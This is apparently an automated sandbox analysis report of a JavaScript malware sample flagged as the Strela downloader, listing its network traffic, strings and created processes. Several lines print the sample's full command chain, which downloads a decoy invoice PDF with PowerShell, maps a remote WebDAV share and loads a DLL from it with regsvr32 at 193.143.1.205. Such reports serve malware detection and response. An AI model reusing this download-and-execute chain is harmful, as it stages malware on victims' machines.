HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1427743719.000002442FA96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1537311329.000001A15C6EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1537311329.000001A15C70B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1537311329.000001A15C6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1537311329.000001A15C6EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/:$n
Source: net.exe, 00000007.00000002.1537311329.000001A15C6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2715558275.000001A4A7C84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1534719966.000001A4A79E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7424, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 25055222211104026628.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2b4l0ins.jda.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,11961020703151592691,4071511003086952442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,11961020703151592691,4071511003086952442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
